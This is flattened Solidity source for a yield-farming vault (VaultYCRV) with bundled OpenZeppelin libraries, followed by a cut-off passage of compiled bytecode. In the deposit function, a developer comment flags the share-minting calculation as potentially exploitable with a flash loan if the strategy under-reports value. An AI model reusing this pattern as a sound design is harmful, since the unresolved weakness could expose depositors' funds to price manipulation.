(codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } // File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } // File: contracts/hardworkInterface/IStrategy.sol pragma solidity 0.5.16; interface IStrategy { function unsalvagableTokens(address tokens) external view returns (bool); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function vault() external view returns (address); function withdrawAllToVault() external; function withdrawToVault(uint256 amount) external; function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch() // should only be called by controller function salvage(address recipient, address token, uint256 amount) external; function doHardWork() external; function depositArbCheck() external view returns(bool); } // File: contracts/hardworkInterface/IController.sol pragma solidity 0.5.16; interface IController { // [Grey list] // An EOA can safely interact with the system no matter what. // If you're using Metamask, you're using an EOA. // Only smart contracts may be affected by this grey list. // // This contract will not be able to ban any EOA from the system // even if an EOA is being added to the greyList, he/she will still be able // to interact with the whole system as if nothing happened. // Only smart contracts will be affected by being added to the greyList. // This grey list is only used in Vault.sol, see the code there for reference function greyList(address _target) external returns(bool); function addVaultAndStrategy(address _vault, address _strategy) external; function doHardWork(address _vault) external; function hasVault(address _vault) external returns(bool); function salvage(address _token, uint256 amount) external; function salvageStrategy(address _strategy, address _token, uint256 amount) external; function notifyFee(address _underlying, uint256 fee) external; function profitSharingNumerator() external view returns (uint256); function profitSharingDenominator() external view returns (uint256); } // File: contracts/Storage.sol pragma solidity 0.5.16; contract Storage { address public governance; address public controller; constructor() public { governance = msg.sender; } modifier onlyGovernance() { require(isGovernance(msg.sender), "Not governance"); _; } function setGovernance(address _governance) public onlyGovernance { require(_governance != address(0), "new governance shouldn't be empty"); governance = _governance; } function setController(address _controller) public onlyGovernance { require(_controller != address(0), "new controller shouldn't be empty"); controller = _controller; } function isGovernance(address account) public view returns (bool) { return account == governance; } function isController(address account) public view returns (bool) { return account == controller; } } // File: contracts/Governable.sol pragma solidity 0.5.16; contract Governable { Storage public store; constructor(address _store) public { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } modifier onlyGovernance() { require(store.isGovernance(msg.sender), "Not governance"); _; } function setStorage(address _store) public onlyGovernance { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } function governance() public view returns (address) { return store.governance(); } } // File: contracts/hardworkInterface/IVault.sol pragma solidity 0.5.16; interface IVault { // the IERC20 part is the share function underlyingBalanceInVault() external view returns (uint256); function underlyingBalanceWithInvestment() external view returns (uint256); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function strategy() external view returns (address); function setStrategy(address _strategy) external; function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external; function deposit(uint256 amountWei) external; function depositFor(uint256 amountWei, address holder) external; function withdrawAll() external; function withdraw(uint256 numberOfShares) external; function getPricePerFullShare() external view returns (uint256); function underlyingBalanceWithInvestmentForHolder(address holder) view external returns (uint256); // hard work should be callable only by the controller (by the hard worker) or by governance function doHardWork() external; function rebalance() external; } // File: contracts/Controllable.sol pragma solidity 0.5.16; contract Controllable is Governable { constructor(address _storage) Governable(_storage) public { } modifier onlyController() { require(store.isController(msg.sender), "Not a controller"); _; } modifier onlyControllerOrGovernance(){ require((store.isController(msg.sender) || store.isGovernance(msg.sender)), "The caller must be controller or governance"); _; } function controller() public view returns (address) { return store.controller(); } } // File: contracts/Vault.sol pragma solidity 0.5.16; contract Vault is ERC20, ERC20Detailed, IVault, Controllable { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; event Withdraw(address indexed beneficiary, uint256 amount); event Deposit(address indexed beneficiary, uint256 amount); event Invest(uint256 amount); IStrategy public strategy; IERC20 public underlying; uint256 public underlyingUnit; mapping(address => uint256) public contributions; mapping(address => uint256) public withdrawals; uint256 public vaultFractionToInvestNumerator; uint256 public vaultFractionToInvestDenominator; constructor(address _storage, address _underlying, uint256 _toInvestNumerator, uint256 _toInvestDenominator ) ERC20Detailed( string(abi.encodePacked("FARM_", ERC20Detailed(_underlying).symbol())), string(abi.encodePacked("f", ERC20Detailed(_underlying).symbol())), ERC20Detailed(_underlying).decimals() ) Controllable(_storage) public { underlying = IERC20(_underlying); require(_toInvestNumerator <= _toInvestDenominator, "cannot invest more than 100%"); require(_toInvestDenominator != 0, "cannot divide by 0"); vaultFractionToInvestDenominator = _toInvestDenominator; vaultFractionToInvestNumerator = _toInvestNumerator; underlyingUnit = 10 ** uint256(ERC20Detailed(address(underlying)).decimals()); } modifier whenStrategyDefined() { require(address(strategy) != address(0), "Strategy must be defined"); _; } // Only smart contracts will be affected by this modifier modifier defense() { require( (msg.sender == tx.origin) || // If it is a normal user and not smart contract, // then the requirement will pass !IController(controller()).greyList(msg.sender), // If it is a smart contract, then "This smart contract has been grey listed" // make sure that it is not on our greyList. ); _; } /** * Chooses the best strategy and re-invests. If the strategy did not change, it just calls * doHardWork on the current strategy. Call this through controller to claim hard rewards. */ function doHardWork() whenStrategyDefined onlyControllerOrGovernance external { // ensure that new funds are invested too invest(); strategy.doHardWork(); } /* * Returns the cash balance across all users in this contract. */ function underlyingBalanceInVault() view public returns (uint256) { return underlying.balanceOf(address(this)); } /* Returns the current underlying (e.g., DAI's) balance together with * the invested amount (if DAI is invested elsewhere by the strategy). */ function underlyingBalanceWithInvestment() view public returns (uint256) { if (address(strategy) == address(0)) { // initial state, when not set return underlyingBalanceInVault(); } return underlyingBalanceInVault().add(strategy.investedUnderlyingBalance()); } /* * Allows for getting the total contributions ever made. */ function getContributions(address holder) view public returns (uint256) { return contributions[holder]; } /* * Allows for getting the total withdrawals ever made. */ function getWithdrawals(address holder) view public returns (uint256) { return withdrawals[holder]; } function getPricePerFullShare() public view returns (uint256) { return totalSupply() == 0 ? underlyingUnit : underlyingUnit.mul(underlyingBalanceWithInvestment()).div(totalSupply()); } /* get the user's share (in underlying) */ function underlyingBalanceWithInvestmentForHolder(address holder) view external returns (uint256) { if (totalSupply() == 0) { return 0; } return underlyingBalanceWithInvestment() .mul(balanceOf(holder)) .div(totalSupply()); } function setStrategy(address _strategy) public onlyControllerOrGovernance { require(_strategy != address(0), "new _strategy cannot be empty"); require(IStrategy(_strategy).underlying() == address(underlying), "Vault underlying must match Strategy underlying"); require(IStrategy(_strategy).vault() == address(this), "the strategy does not belong to this vault"); if (address(_strategy) != address(strategy)) { if (address(strategy) != address(0)) { // if the original strategy (no underscore) is defined underlying.safeApprove(address(strategy), 0); strategy.withdrawAllToVault(); } strategy = IStrategy(_strategy); underlying.safeApprove(address(strategy), 0); underlying.safeApprove(address(strategy), uint256(~0)); } } function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external onlyGovernance { require(denominator > 0, "denominator must be greater than 0"); require(numerator < denominator, "denominator must be greater than numerator"); vaultFractionToInvestNumerator = numerator; vaultFractionToInvestDenominator = denominator; } function rebalance() external onlyControllerOrGovernance { withdrawAll(); invest(); } function availableToInvestOut() public view returns (uint256) { uint256 wantInvestInTotal = underlyingBalanceWithInvestment() .mul(vaultFractionToInvestNumerator) .div(vaultFractionToInvestDenominator); uint256 alreadyInvested = strategy.investedUnderlyingBalance(); if (alreadyInvested >= wantInvestInTotal) { return 0; } else { uint256 remainingToInvest = wantInvestInTotal.sub(alreadyInvested); return remainingToInvest <= underlyingBalanceInVault() // TODO: we think that the "else" branch of the ternary operation is not // going to get hit ? remainingToInvest : underlyingBalanceInVault(); } } function invest() internal whenStrategyDefined { uint256 availableAmount = availableToInvestOut(); if (availableAmount > 0) { underlying.safeTransfer(address(strategy), availableAmount); emit Invest(availableAmount); } } /* * Allows for depositing the underlying asset in exchange for shares. * Approval is assumed. */ function deposit(uint256 amount) external defense { _deposit(amount, msg.sender, msg.sender); } /* * Allows for depositing the underlying asset in exchange for shares * assigned to the holder. * This facilitates depositing for someone else (using DepositHelper) */ function depositFor(uint256 amount, address holder) public defense { _deposit(amount, msg.sender, holder); } function withdrawAll() public onlyControllerOrGovernance whenStrategyDefined { strategy.withdrawAllToVault(); } function withdraw(uint256 numberOfShares) external { require(totalSupply() > 0, "Vault has no shares"); require(numberOfShares > 0, "numberOfShares must be greater than 0"); uint256 totalSupply = totalSupply(); _burn(msg.sender, numberOfShares); uint256 underlyingAmountToWithdraw = underlyingBalanceWithInvestment() .mul(numberOfShares) .div(totalSupply); if (underlyingAmountToWithdraw > underlyingBalanceInVault()) { // withdraw everything from the strategy to accurately check the share value if (numberOfShares == totalSupply) { strategy.withdrawAllToVault(); } else { uint256 missing = underlyingAmountToWithdraw.sub(underlyingBalanceInVault()); strategy.withdrawToVault(missing); } // recalculate to improve accuracy underlyingAmountToWithdraw = Math.min(underlyingBalanceWithInvestment() .mul(numberOfShares) .div(totalSupply), underlyingBalanceInVault()); } underlying.safeTransfer(msg.sender, underlyingAmountToWithdraw); // update the withdrawal amount for the holder withdrawals[msg.sender] = withdrawals[msg.sender].add(underlyingAmountToWithdraw); emit Withdraw(msg.sender, underlyingAmountToWithdraw); } function _deposit(uint256 amount, address sender, address beneficiary) internal { require(amount > 0, "Cannot deposit 0"); require(beneficiary != address(0), "holder must be defined"); if (address(strategy) != address(0)) { require(strategy.depositArbCheck(), "Too much arb"); } /* todo: Potentially exploitable with a flashloan if strategy under-reports the value. */ uint256 toMint = totalSupply() == 0 ? amount : amount.mul(totalSupply()).div(underlyingBalanceWithInvestment()); _mint(beneficiary, toMint); underlying.safeTransferFrom(sender, address(this), amount); // update the contribution amount for the beneficiary contributions[beneficiary] = contributions[beneficiary].add(amount); emit Deposit(beneficiary, amount); } } // File: contracts/vaults/VaultYCRV.sol pragma solidity 0.5.16; contract VaultYCRV is Vault { constructor(address _controller, address _underlying, uint256 _toInvestNumerator, uint256 _toInvestDenominator ) Vault( _controller, _underlying, _toInvestNumerator, _toInvestDenominator ) public { } }
0x608060405234801561001057600080fd5b50600436106102275760003560e01c806370a0823111610130578063a457c2d7116100b8578063b6b55f251161007c578063b6b55f25146105fd578063c2baf3561461061a578063dd62ed3e14610622578063f2768c1e14610650578063f77c47911461065857610227565b8063a457c2d714610572578063a5b1a24d1461059e578063a8c62e76146105c1578063a9059cbb146105c9578063b592c390146105f557610227565b8063853828b6116100ff578063853828b61461050e5780638cb1d67f146105165780639137c1a71461053c57806395d89b4114610562578063975057e71461056a57610227565b806370a08231146104b257806377c7b8fc146104d85780637a9262a2146104e05780637d7c2a1c1461050657610227565b806339509351116101b35780634af1758b116101825780634af1758b1461046e5780634fa5d8541461047657806353ceb01c1461047e5780635aa6e675146104865780636f307dc3146104aa57610227565b806339509351146103d05780633a2b643a146103fc5780633f19d0431461042257806342e94c901461044857610227565b806323b872dd116101fa57806323b872dd1461030b5780632e1a7d4d14610341578063313ce5671461036057806333a100ca1461037e57806336efd16f146103a457610227565b806306fdde031461022c578063095ea7b3146102a957806318160ddd146102e95780631bf8e7be14610303575b600080fd5b610234610660565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026e578181015183820152602001610256565b50505050905090810190601f16801561029b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102d5600480360360408110156102bf57600080fd5b506001600160a01b0381351690602001356106f7565b604080519115158252519081900360200190f35b6102f1610715565b60408051918252519081900360200190f35b6102f161071b565b6102d56004803603606081101561032157600080fd5b506001600160a01b038135811691602081013590911690604001356107c8565b61035e6004803603602081101561035757600080fd5b5035610855565b005b610368610ade565b6040805160ff9092168252519081900360200190f35b61035e6004803603602081101561039457600080fd5b50356001600160a01b0316610ae7565b61035e600480360360408110156103ba57600080fd5b50803590602001356001600160a01b0316610ef5565b6102d5600480360360408110156103e657600080fd5b506001600160a01b038135169060200135610fd5565b6102f16004803603602081101561041257600080fd5b50356001600160a01b0316611029565b6102f16004803603602081101561043857600080fd5b50356001600160a01b0316611048565b6102f16004803603602081101561045e57600080fd5b50356001600160a01b0316611063565b6102f1611075565b61035e61107b565b6102f161127d565b61048e611283565b604080516001600160a01b039092168252519081900360200190f35b61048e611304565b6102f1600480360360208110156104c857600080fd5b50356001600160a01b0316611313565b6102f161132e565b6102f1600480360360208110156104f657600080fd5b50356001600160a01b031661136e565b61035e611380565b61035e6114ca565b6102f16004803603602081101561052c57600080fd5b50356001600160a01b03166116aa565b61035e6004803603602081101561055257600080fd5b50356001600160a01b03166116df565b61023461181f565b61048e611880565b6102d56004803603604081101561058857600080fd5b506001600160a01b038135169060200135611894565b61035e600480360360408110156105b457600080fd5b5080359060200135611902565b61048e611a47565b6102d5600480360360408110156105df57600080fd5b506001600160a01b038135169060200135611a56565b6102f1611a6a565b61035e6004803603602081101561061357600080fd5b5035611b4f565b6102f1611c2b565b6102f16004803603604081101561063857600080fd5b506001600160a01b0381358116916020013516611c76565b6102f1611ca1565b61048e611ca7565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106ec5780601f106106c1576101008083540402835291602001916106ec565b820191906000526020600020905b8154815290600101906020018083116106cf57829003601f168201915b505050505090505b90565b600061070b610704611cf7565b8484611cfb565b5060015b92915050565b60025490565b6006546000906001600160a01b031661073d57610736611c2b565b90506106f4565b600654604080516322e80f2560e11b815290516107c3926001600160a01b0316916345d01e4a916004808301926020929190829003018186803b15801561078357600080fd5b505afa158015610797573d6000803e3d6000fd5b505050506040513d60208110156107ad57600080fd5b50516107b7611c2b565b9063ffffffff611de716565b905090565b60006107d5848484611e48565b61084b846107e1611cf7565b61084685604051806060016040528060288152602001612bec602891396001600160a01b038a1660009081526001602052604081209061081f611cf7565b6001600160a01b03168152602081019190915260400160002054919063ffffffff611fa416565b611cfb565b5060019392505050565b600061085f610715565b116108a7576040805162461bcd60e51b81526020600482015260136024820152725661756c7420686173206e6f2073686172657360681b60448201529051908190036